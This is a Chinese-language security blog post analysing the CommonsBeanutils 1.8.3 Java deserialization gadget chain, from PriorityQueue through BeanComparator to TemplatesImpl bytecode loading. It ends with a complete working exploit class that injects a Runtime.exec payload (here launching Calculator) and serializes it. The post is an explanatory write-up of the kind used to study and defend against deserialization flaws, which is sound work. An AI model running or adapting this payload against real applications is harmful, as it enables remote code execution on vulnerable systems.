CommonsBeanutils183反序列化链

Java安全

简介

Apache Commons BeanUtils 是一个开源的 Java 库,提供了对 Java Bean 操作的工具类和方法。它可以简化 Java Bean 的属性复制、反射调用和动态操作等任务,使得开发人员可以更加方便地处理 Java Bean

下面是一些 Commons BeanUtils 提供的主要功能和特性:

  1. 属性复制:BeanUtils 提供了 copyProperties 方法,用于将源对象的属性值复制到目标对象中,无需手动编写属性的逐个复制代码。
  2. 动态操作:BeanUtils 提供了一些方法,可以通过反射动态设置和获取 Java Bean 的属性值,避免了直接使用反射 API 的繁琐操作。
  3. 数据转换:BeanUtils 提供了 convert 方法,用于在不同类型之间进行属性值的转换,例如将字符串转换为日期对象,或者将字符串转换为枚举类型。
  4. 嵌套属性访问:BeanUtils 支持处理嵌套属性,可以通过使用点号 . 来访问嵌套的属性,例如 user.address.street
  5. 列表和映射操作:BeanUtils 提供了对列表和映射的操作方法,可以方便地处理集合类型的属性。
  6. 注册转换器:BeanUtils 允许开发人员注册自定义的类型转换器,以便在属性复制和数据转换过程中使用。
  7. 支持多种数据源:BeanUtils 不仅可以操作普通的 Java Bean,还可以操作其他数据源,如 ResultSetMapXML 等。

Apache Commons BeanUtils 提供了一套强大而灵活的工具,使得在 Java 开发中处理 Java Bean 变得更加简单和高效。无论是属性复制、反射调用还是动态操作,BeanUtils 都可以成为开发人员的便捷助手

利用条件

Commons-Beanutils <= 1.9.4

JDK8版本

利用链

Gadget chain:
PriorityQueue.readObject()
    PriorityQueue.heapify()
        PriorityQueue.siftDown()
        PriorityQueue.siftDownUsingComparator()
            BeanComparator.compare()
            PropertyUtils.getProperty(TemplatesImpl, outputProperties)
                TemplatesImpl.getOutputProperties()
                TemplatesImpl.newTransformer()
                TemplatesImpl.getTransletInstance()
                TemplatesImpl.defineTransletClasses()

利用链分析

CommonsBeanutils183利用链大致思路和CC2利用链差不多,只不过后续使用的比较器不同而已

PriorityQueue

image-20230821161046090

由于这条链使用了另一个比较器 BeanComparator 类,所以在实例化 PriorityQueue 类对象时,需要讲 BeanComparator 类对象作为 PriorityQueue 类的构造方法参数

image-20230821160657305

image-20230821160722928

image-20230821160842411

image-20230821160921859

接下来就是一连串的调用了,CC2和CC4都有使用 PriorityQueue 类,这里就不再详细叙述了

BeanComparator

image-20230821153636434

image-20230821153744130

BeanComparator 类的 compare() 方法中调用了 PropertyUtils 类的 getProperty() 方法

PropertyUtils

image-20230821154024423

在这个类中,获取了 PropertyUtilsBean 的实例并调用 getProperty() 方法

PropertyUtilsBean

image-20230821154442312

image-20230821154712156

image-20230821154748856

image-20230821155026008

接下来就是一连串的调用了,那么我们如何加载恶意字节码呢?之前学CC链的时候我们知道,在 TemplatesImpl 类的 newTransformer() 方法中可以加载字节码并执行,那么在 BeanComparator 类中的 property 属性值就必须是 outputProperties,后续通过反射来修改这个属性值

TemplatesImpl

image-20230821155551661

到了这里,在 TemplatesImpl 类的 getOutputProperties() 方法中调用了 newTransformer() 方法后就成功加载了恶意字节码执行恶意代码了

根据上面的分析,我们写出利用链EXP的中间部分

BeanComparator beanComparator = new BeanComparator();

PriorityQueue<Object> queue = new PriorityQueue<Object>(beanComparator);
queue.add(1);
queue.add(1);

Class priorityQueueClass = queue.getClass();
Field queueField = priorityQueueClass.getDeclaredField("queue");
queueField.setAccessible(true);
queueField.set(queue,new Object[]{templates, templates});

Class beanComparatorClass = beanComparator.getClass();
Field propertyField = beanComparatorClass.getDeclaredField("property");
propertyField.setAccessible(true);
propertyField.set(beanComparator,"outputProperties");

这里讲 queueproperty 两个属性通过反射获取来修改属性值是因为避免在序列化时调用了 PriorityQueue 类的 add() 方法后就执行了恶意代码

反序列化链EXP

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutils183 {
    public static void main(String[] args) throws Exception{
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ctClass = classPool.makeClass("EvilCode");
        ctClass.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"open  /System/Applications/Calculator.app\");");
        ctClass.setName("EvilCode" + System.nanoTime());
        ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] bytecode = ctClass.toBytecode();
        byte[][] bytecodes = new byte[][]{bytecode};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Class templateImplClass = templates.getClass();
        Field nameField = templateImplClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"x");

        Field bytecodesField = templateImplClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        bytecodesField.set(templates,bytecodes);

        Field tfactoryField = templateImplClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        BeanComparator beanComparator = new BeanComparator();

        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add(1);
        queue.add(1);

        Class priorityQueueClass = queue.getClass();
        Field queueField = priorityQueueClass.getDeclaredField("queue");
        queueField.setAccessible(true);
        queueField.set(queue,new Object[]{templates, templates});

        Class beanComparatorClass = beanComparator.getClass();
        Field propertyField = beanComparatorClass.getDeclaredField("property");
        propertyField.setAccessible(true);
        propertyField.set(beanComparator,"outputProperties");

        serialize(queue);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

Author: wileysec

Permalink: https://wileysec.github.io/45315f66374a.html

Comments